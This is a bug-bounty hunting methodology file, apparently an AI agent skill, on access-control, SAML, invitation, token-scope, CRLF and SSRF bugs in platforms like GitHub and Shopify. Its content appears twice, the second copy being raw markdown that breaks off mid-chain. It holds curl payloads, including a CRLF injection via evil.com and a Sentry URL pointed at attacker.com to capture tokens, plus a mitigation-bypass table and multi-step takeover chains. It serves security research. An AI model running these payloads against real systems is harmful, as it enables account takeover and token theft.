Crown Jewel Targets
Why this vuln class pays:
MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
Highest-value targets:
- SaaS platforms with role hierarchies (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
- Identity/auth flows — invitation links, password reset, SAML SSO, OAuth token scopes
- Multi-tenant systems — one tenant touching another tenant's data
- Internal APIs — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
- Domain/DNS management features — transfer controls, subdomain delegation
- Token/credential management — PAT scopes, deploy keys, API tokens stored in config fields
Asset types that pay most:
- Core product APIs (not marketing subdomains)
- Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
- Partner/collaborator invitation systems
- OAuth app integrations and webhook endpoints
Attack Surface Signals
URL patterns to watch:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*
Response header signals:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*
JS patterns revealing internal surfaces:
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs
Tech stack signals:
- Ruby/Rack middleware (CRLF injection risk in
pitchfork)
- SAML SSO enabled on enterprise instances
- PyPI proxy/mirror configurations (dependency confusion)
- Sentry error tracking integration fields (SSRF/token leak vector)
- Multi-role invitation systems (partners, staff, collaborators)
Step-by-Step Hunting Methodology
Map all role/permission boundaries — enumerate every role level (owner → admin → staff → guest → removed) and document what each role should see
Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, attacker, evil, admin, AAAA. Good markers: cpmark987abc, x4hd2k9pq. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
Body-Diff Rule: a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
Test invitation flows end-to-end — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access
Test post-removal access — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)
Fuzz token scope enforcement — create PATs/tokens with minimal or no scopes, then call API endpoints that should require elevated scopes
Test cross-tenant resource access — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers
Probe internal/undocumented API endpoints — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs
Check SAML/SSO logic — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace
Audit configuration fields for SSRF/token exfiltration — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak
Test password reset and email verification flows — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse
Check HTTP header injection points — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences
Verify DNS/subdomain hygiene — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records
Test package registry proxy configurations — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)
Payload & Detection Patterns
CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):
# Test CRLF in header values
curl -v "https://target.com/path" \
-H $'X-Custom: value\r\nInjected-Header: evil'
# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
Privilege escalation via invitation bypass:
# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
-H "Cookie: session=UNVERIFIED_SESSION" \
-d '{"role":"admin"}'
# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
-H "Cookie: session=VICTIM_SESSION"
Token scope bypass (GitHub/GitLab PAT):
# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
"https://api.github.com/repos/org/private-repo/issues"
# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"
SSRF via config URL fields (Sentry integration):
# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'
ReDoS detection:
# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"
Grep patterns for source recon:
# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"
Dangling subdomain / DNS check:
# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk
Common Root Causes
Soft deletes without permission invalidation — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context
Invitation acceptance without verification gate — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session
Token scope checked at issuance, not at use — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap
Role-based access control checked at UI layer only — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating
SAML XML parsing quirks — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks
Config/URL fields trusted as internal — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens
Ruby header injection via string interpolation — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs
Proxy/mirror configs forwarding all requests upstream — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion
Pre-receive hook environments exposing privileged context — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible
Multi-device session design conflated with session fixation — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk
Server-policy responses mistaken for state-based oracles — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in .config/.ashx/.asmx/.svc") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's download.aspx?SourceUrl= returned "blocked from this Web site by the server administrators" for .ashx/.asmx/.svc/.config extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.
Bypass Techniques
Defender mitigations and how to bypass them:
| Defense |
Bypass |
| Email verification on invitation |
Accept token in a different session before verification step completes; test if token is single-use or multi-use |
| Role check on API endpoint |
Find alternative API versions (/v3/ vs /v4/), GraphQL aliases, or internal endpoints that skip middleware |
| SAML signature validation |
Strip signature element entirely; use XML namespace confusion; inject additional unsigned Assertion elements |
| PAT scope enforcement |
Find endpoints that check scope at the collection level but not on individual sub-resources; test legacy API versions |
| Token revocation on user removal |
Revoke at the org level but not at the app/installation level; test cross-installation token reuse |
| Input sanitization on header values |
Try %0d%0a, \r\n, \u000d\u000a, null bytes followed by CRLF; test middleware version-specific parsing |
| Restricting internal API to localhost |
Find SSRF vector (Sentry URL, webhook URL) to make server call the internal endpoint on your behalf |
| ReDoS regex hardening |
Try different anchor points — if # is patched, try ?, %, or other RFC-special characters that trigger backtracking |
| Dependency pinning |
Change package names slightly (typosquatting) or target internal package names that aren't published to public registry |
| Subdomain claim validation |
Monitor for hosting provider account deletions; use certificate transparency logs to find unclaimed subdomains |
Gate 0 Validation
Before writing the report, answer these three questions:
What can the attacker DO right now?
Must be a concrete action: read customer PII, escalate to admin role, take over an account, transfer a domain asset, exfiltrate an API token, inject a response header. "Could potentially..." is not sufficient.
What does the victim LOSE?
Must map to a real asset: customer data, account control, financial assets (domains), credentials, code repository contents, or platform trust. "Security best practices not followed" is not a valid answer.
Can it be reproduced in 10 minutes from scratch?
Write out the exact steps (no special tooling, no race conditions that require luck). If you need pre-existing conditions (e.g., must already be a maintainer), state them explicitly and verify they're realistic for an attacker to achieve.
Real Impact Examples
Scenario A — Privilege Escalation via Unverified Partner Invitation (Shopify-class)
An attacker receives a partner invitation link for a low-privilege role. Before completing email verification, they use the invitation token in a session authenticated as a different account (or no account). The platform grants the elevated partner role without confirming identity, allowing the attacker to access merchant data, install apps, or modify store configurations for all stores in the partner account. Business impact: full partner-level access to hundreds of merchant stores with no legitimate relationship established.
Scenario B — Cross-Tenant Data Persistence After Removal (Shopify/GitLab-class)
A staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.
Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class)
An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the Signature element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.
Chains & Compositions (Senior Hunting)
A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: the secondary primitive is what produces impact. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
Chain 1 — Soft-Delete + Post-Removal Session Persistence → Cross-Tenant PII
- A. Identify a "remove member" endpoint that flips an
active=false flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).
- B. Log in as the to-be-removed staff member; capture the session cookie / PAT.
- C. Have the org admin remove the user via the normal flow. Wait. Re-issue the same API calls (
GET /admin/orders, GET /admin/payouts, GET /admin/customers) using the captured token.
- Impact: API calls keep succeeding for days or weeks post-removal — cached permission checks pass the old auth context. GDPR/CCPA breach exposure; potential extortion leverage; competitive intelligence theft.
- Real shape: Shopify removed-staff session persistence class (2022); GitLab cached-permissions-after-removal class. Pairs with
hunt-ato Path 5 (session-fixation).
Chain 2 — Invitation Token Reuse + Skipped Verification → Privileged Role Injection
- A. Receive an invitation link for a low-privilege role at the target.
- B. Before completing email verification, POST the invitation token from a different session (incognito browser / anonymous request).
- C. Server grants the invited role without re-verifying that the consuming session matches the invited email — new identity inherits the invitation's scope.
- Impact: Privilege-escalated foothold without owning the invited email address. For partner-portal invitations (where a partner-tier role manages hundreds of downstream merchants), this is the Shopify Partners-class Critical.
- Real shape: Multiple H1 Shopify Partners disclosures 2020-2022 (root cause #2). Pairs with
hunt-auth-bypass step 7 (invitation flow verification).
Chain 3 — CRLF in Ruby Header + Cache Poisoning → Mass Stored XSS at CDN Scale
- A. Identify CRLF injection in a Ruby
Net::HTTP / Rack response header — user-controlled value flows into Location: or a custom X-* header (root cause #7: Ruby header injection via string interpolation).
- B. Inject
%0d%0aSet-Cookie: session=attacker or a duplicate Cache-Control: public, max-age=3600 that pollutes the cache-key normalisation across CDN tiers.
- C. Cache stores the poisoned response for the full max-age. Every CDN-edge visitor in the affected geo receives the attacker's
Set-Cookie or attacker-controlled body.
- Impact: Cross-customer XSS / session fixation at full CDN scale; persistent until cache TTL expires; affects every visitor to that path.
- Real shape: GitLab CRLF + cache poisoning chain (H1 #1160407 / Iustin Ladunca, 2021); Rack 3 behavioural-change ecosystem advisories (2022-2023). Pairs with
hunt-cache-poison citation #7 and #10 (Akamai hop-by-hop class).
Chain 4 — SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO
- A. Capture a valid SAMLResponse via the legitimate auth flow (Burp filter for
SAMLResponse= POST bodies on /saml/acs or /Shibboleth.sso).
- B. Inject a sibling
<Assertion> element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed <NameID>admin@victim</NameID> in the unsigned inner assertion.
- C. SP signature validates against the outer element; SP business logic reads the inner one; admin role assumed without password or MFA.
- Impact: Full enterprise SSO compromise. Every SAML-gated app inherits the spoofed admin identity for the session lifetime.
- Real shape: GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (parser differential, 2025); samlify CVE-2025-47949. Cross-refs
hunt-auth-bypass Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).
Chain 5 — Token-Scope Check at Issuance, Not at Use → Cross-Tenant Write via Low-Scope PAT
- A. Create a personal access token / OAuth token with
read:user scope only. Confirm via GET /api/me/tokens.
- B. Call a write endpoint that should require
write:* (e.g. DELETE /repos/{org}/{repo}/issues/{n}). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.
- C. Write action succeeds despite the token being read-only.
- Impact: PAT scope model is functionally broken — every read-only token is write-equivalent on the affected endpoints. Mass-exploitable across the userbase by anyone with a leaked PAT.
- Real shape: GitHub PAT scope-at-issuance-not-at-use class (root cause #3). Pairs with step 4 (PAT scope enforcement fuzzing) and
hunt-api-misconfig JWT scope bypasses.
Chain 6 — Subdomain Takeover at OAuth redirect_uri Allowlist → Auth-Code Theft → ATO
- A. Enumerate OAuth
redirect_uri allowlist via the /oauth/authorize flow; note any wildcard *.target.com or takeover-candidate hostname in the static list.
- B. Find a takeover-able subdomain (
legacy.target.com CNAME'd to deleted Vercel project / Heroku app / S3 bucket — hunt-subdomain step 1).
- C. Claim the subdomain. Host an OAuth callback receiver. Send victim to
/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&.... Auth code lands on attacker host. Exchange via token endpoint. ATO.
- Impact: Persistent 1-click ATO every time the OAuth flow runs against the affected client.
- Real shape: Microsoft Azure DevOps
cloudapp.azure.com + wildcard *.visualstudio.com reply_to chain (Binary Security, Nov 2022). Cross-refs hunt-subdomain Disclosed Report Citation #12.
Operator-level pattern
When you confirm a misc primitive at A, immediately ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
hunt-auth-bypass — Chains 2, 4, 5
hunt-cache-poison — Chain 3
hunt-saml — Chain 4
hunt-subdomain — Chain 6
hunt-ato — Chains 1, 2, 5, 6 (all terminal-impact paths)
Related Skills & Chains
hunt-saml — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW + hunt-saml AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.
hunt-business-logic — Misc role/permission desync bugs overlap with business-logic state-machine flaws. Chain primitive: business logic (invitation-before-verify) + role assignment without identity confirmation → tenant takeover.
hunt-auth-bypass — Session-revocation gaps and stale-token issues are pure auth-bypass primitives. Chain primitive: removed user retains session token → hunt-auth-bypass → post-termination data exfil and persistent access.
hunt-ato — Most misc auth bugs end at account takeover. Chain primitive: signature-stripping / NameID injection + hunt-ato Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.
security-arsenal — Load the SAML Raider payload pack, the session-revocation probe checklist, and the Always-Rejected list (rate-limiting on auth, theoretical issues, user enumeration without sensitive PII).
triage-validation — Apply the 7-Question Gate plus the Body-Diff Rule: misc bugs are the highest-N/A category — a state desync claim needs a concrete cross-tenant read or admin-action PoC, not just "the API let me call it".
1---2name: hunt-misc3description: Hunting skill for misc vulnerabilities. Built from 225 public bug bounty reports. Use when hunting misc on any target.4---5
6## Crown Jewel Targets
7
8**Why this vuln class pays:**
9MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
10
11**Highest-value targets:**
12- **SaaS platforms with role hierarchies** (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
13- **Identity/auth flows** — invitation links, password reset, SAML SSO, OAuth token scopes
14- **Multi-tenant systems** — one tenant touching another tenant's data
15- **Internal APIs** — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
16- **Domain/DNS management features** — transfer controls, subdomain delegation
17- **Token/credential management** — PAT scopes, deploy keys, API tokens stored in config fields
18
19**Asset types that pay most:**
20- Core product APIs (not marketing subdomains)
21- Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
22- Partner/collaborator invitation systems
23- OAuth app integrations and webhook endpoints
24
25---
26
27## Attack Surface Signals
28
29**URL patterns to watch:**
30```
31/admin/*/transfer
32/invitations/*
33/partners/*/accept
34/api/v*/repos/*/lfs/*
35/-/settings/integrations/sentry
36/api/v*/user/installations
37/hooks/pre-receive/*
38/reset-password?token=
39/auth/saml/callback
40/api/v*/packages/pypi/*
41```
42
43**Response header signals:**
44```
45X-Request-Id (pitchfork/Rack — check for header injection)
46X-Shopify-Shop-Api-Call-Limit
47X-GitLab-*
48```
49
50**JS patterns revealing internal surfaces:**
51```javascript
52// Look for hardcoded internal API paths
53fetch('/internal/api/
54graphql { installations(
55"scope": [], // empty scopes on tokens
56"permissions": {"contents": "read"} // minimal scope PATs
57```
58
59**Tech stack signals:**
60- Ruby/Rack middleware (CRLF injection risk in `pitchfork`)
61- SAML SSO enabled on enterprise instances
62- PyPI proxy/mirror configurations (dependency confusion)
63- Sentry error tracking integration fields (SSRF/token leak vector)
64- Multi-role invitation systems (partners, staff, collaborators)
65
66---
67
68## Step-by-Step Hunting Methodology
69
701. **Map all role/permission boundaries** — enumerate every role level (owner → admin → staff → guest → removed) and document what each role *should* see
71
72 **Marker Discipline:** when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `attacker`, `evil`, `admin`, `AAAA`. Good markers: `cpmark987abc`, `x4hd2k9pq`. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
73
74 **Body-Diff Rule:** a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
75
762. **Test invitation flows end-to-end** — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access
77
783. **Test post-removal access** — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)
79
804. **Fuzz token scope enforcement** — create PATs/tokens with minimal or no scopes, then call API endpoints that *should* require elevated scopes
81
825. **Test cross-tenant resource access** — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers
83
846. **Probe internal/undocumented API endpoints** — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs
85
867. **Check SAML/SSO logic** — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace
87
888. **Audit configuration fields for SSRF/token exfiltration** — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak
89
909. **Test password reset and email verification flows** — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse
91
9210. **Check HTTP header injection points** — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences
93
9411. **Verify DNS/subdomain hygiene** — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records
95
9612. **Test package registry proxy configurations** — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)
97
98---
99
100## Payload & Detection Patterns
101
102**CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):**
103```bash
104# Test CRLF in header values
105curl -v "https://target.com/path" \
106 -H $'X-Custom: value\r\nInjected-Header: evil'
107
108# URL-encoded variant
109curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
110
111# Test in pitchfork/Rack apps — inject via query param reflected in Location header
112curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
113```
114
115**Privilege escalation via invitation bypass:**
116```bash
117# Accept invitation without email verification
118curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
119 -H "Cookie: session=UNVERIFIED_SESSION" \
120 -d '{"role":"admin"}'
121
122# Test invitation token for another user
123curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
124 -H "Cookie: session=VICTIM_SESSION"
125```
126
127**Token scope bypass (GitHub/GitLab PAT):**
128```bash
129# Call privileged endpoint with minimal-scope token
130curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
131 "https://api.github.com/repos/org/private-repo/issues"
132
133# Test suspended installation access
134curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
135 "https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"
136```
137
138**SSRF via config URL fields (Sentry integration):**
139```bash
140# Change Sentry URL to internal listener
141curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
142 -H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
143 -d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'
144```
145
146**ReDoS detection:**
147```bash
148# Test Ruby URI parser
149ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
150
151# Test IPAddr
152ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
153
154# Timing-based detection
155time curl "https://target.com/search?q=aaaa" # baseline
156time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"
157```
158
159**Grep patterns for source recon:**
160```bash
161# Find SAML signature verification
162grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
163
164# Find hardcoded or weak scope checks
165grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
166
167# Find invitation acceptance without verification
168grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
169
170# Find internal API routes
171grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"
172```
173
174**Dangling subdomain / DNS check:**
175```bash
176# Check for obsolete DNS records
177dig CNAME handbook.gitlab.com
178curl -sI https://handbook.gitlab.com | head -5
179# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
180
181# SPF check
182dig TXT rubylang.org | grep spf
183# Missing or ~all = email spoofing risk
184```
185
186---
187
188## Common Root Causes
189
1901. **Soft deletes without permission invalidation** — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context
191
1922. **Invitation acceptance without verification gate** — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session
193
1943. **Token scope checked at issuance, not at use** — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap
195
1964. **Role-based access control checked at UI layer only** — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating
197
1985. **SAML XML parsing quirks** — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks
199
2006. **Config/URL fields trusted as internal** — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens
201
2027. **Ruby header injection via string interpolation** — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs
203
2048. **Proxy/mirror configs forwarding all requests upstream** — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion
205
2069. **Pre-receive hook environments exposing privileged context** — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible
207
20810. **Multi-device session design conflated with session fixation** — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk
209
21011. **Server-policy responses mistaken for state-based oracles** — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in `.config`/`.ashx`/`.asmx`/`.svc`") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's `download.aspx?SourceUrl=` returned `"blocked from this Web site by the server administrators"` for `.ashx`/`.asmx`/`.svc`/`.config` extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.
211
212---
213
214## Bypass Techniques
215
216**Defender mitigations and how to bypass them:**
217
218| Defense | Bypass |
219|---|---|
220| Email verification on invitation | Accept token in a different session before verification step completes; test if token is single-use or multi-use |
221| Role check on API endpoint | Find alternative API versions (`/v3/` vs `/v4/`), GraphQL aliases, or internal endpoints that skip middleware |
222| SAML signature validation | Strip signature element entirely; use XML namespace confusion; inject additional unsigned `Assertion` elements |
223| PAT scope enforcement | Find endpoints that check scope at the collection level but not on individual sub-resources; test legacy API versions |
224| Token revocation on user removal | Revoke at the org level but not at the app/installation level; test cross-installation token reuse |
225| Input sanitization on header values | Try `%0d%0a`, `\r\n`, `\u000d\u000a`, null bytes followed by CRLF; test middleware version-specific parsing |
226| Restricting internal API to localhost | Find SSRF vector (Sentry URL, webhook URL) to make server call the internal endpoint on your behalf |
227| ReDoS regex hardening | Try different anchor points — if `#` is patched, try `?`, `%`, or other RFC-special characters that trigger backtracking |
228| Dependency pinning | Change package names slightly (typosquatting) or target internal package names that aren't published to public registry |
229| Subdomain claim validation | Monitor for hosting provider account deletions; use certificate transparency logs to find unclaimed subdomains |
230
231---
232
233## Gate 0 Validation
234
235Before writing the report, answer these three questions:
236
2371. **What can the attacker DO right now?**
238 Must be a concrete action: read customer PII, escalate to admin role, take over an account, transfer a domain asset, exfiltrate an API token, inject a response header. "Could potentially..." is not sufficient.
239
2402. **What does the victim LOSE?**
241 Must map to a real asset: customer data, account control, financial assets (domains), credentials, code repository contents, or platform trust. "Security best practices not followed" is not a valid answer.
242
2433. **Can it be reproduced in 10 minutes from scratch?**
244 Write out the exact steps (no special tooling, no race conditions that require luck). If you need pre-existing conditions (e.g., must already be a maintainer), state them explicitly and verify they're realistic for an attacker to achieve.
245
246---
247
248## Real Impact Examples
249
250**Scenario A — Privilege Escalation via Unverified Partner Invitation (Shopify-class)**
251An attacker receives a partner invitation link for a low-privilege role. Before completing email verification, they use the invitation token in a session authenticated as a different account (or no account). The platform grants the elevated partner role without confirming identity, allowing the attacker to access merchant data, install apps, or modify store configurations for all stores in the partner account. Business impact: full partner-level access to hundreds of merchant stores with no legitimate relationship established.
252
253**Scenario B — Cross-Tenant Data Persistence After Removal (Shopify/GitLab-class)**
254A staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.
255
256**Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class)**
257An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the `Signature` element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.
258
259---
260
261## Chains & Compositions (Senior Hunting)
262
263A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: **the secondary primitive is what produces impact**. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
264
265### Chain 1 — Soft-Delete + Post-Removal Session Persistence → Cross-Tenant PII
266
267- **A.** Identify a "remove member" endpoint that flips an `active=false` flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).
268- **B.** Log in as the to-be-removed staff member; capture the session cookie / PAT.
269- **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue the same API calls (`GET /admin/orders`, `GET /admin/payouts`, `GET /admin/customers`) using the captured token.
270- **Impact:** API calls keep succeeding for days or weeks post-removal — cached permission checks pass the old auth context. GDPR/CCPA breach exposure; potential extortion leverage; competitive intelligence theft.
